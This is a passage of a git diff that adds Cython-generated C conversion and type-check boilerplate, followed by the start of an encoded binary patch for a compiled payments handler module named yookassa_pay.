* PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 0000000000000000000000000000000000000000..658af05512ae01f2dc47a31e6c8908b5ba8f3fdf GIT binary patch literal 1121328 zcmcG%31C&#)i!(yAQ8a?6phv)V$k52pwXa4bD6x+fML=&U=ko01VWlYgAz;`VRDLv+D*V_-Qwh@CxpzVnM z*X$!yz3SuC)zo7vtkhdltpOGh^6!T8#d7U|02(eBqV^uHEEeo+khy)oMTB!-=L#>ls4pno7gER12# z88PDC9s_TQ5%oNNEml%FdjghxM$LMcE4E(7W_Ro#spY<{9-xR|?|BNv&jf;WT z#qh)G80`*=v5&edhW*FK(EnqM@p4NH|9lxEE}c52L315Gb(UcAbBDb z;t$Qq-=UcIMh6ZIeEpH4-LwnarvC- zlb0?pEuK>}e`&Ge4a_N6P+e58XmM%L(#6+7FmFY{3{;z4SzfiEGLW}oYW0GGIV;MF zrNau^*+UFIoV}^5TUM((ch!jI*@c+47WPXj{GjqVxr$v3Pz}Wxv3IQCwEJczNmc 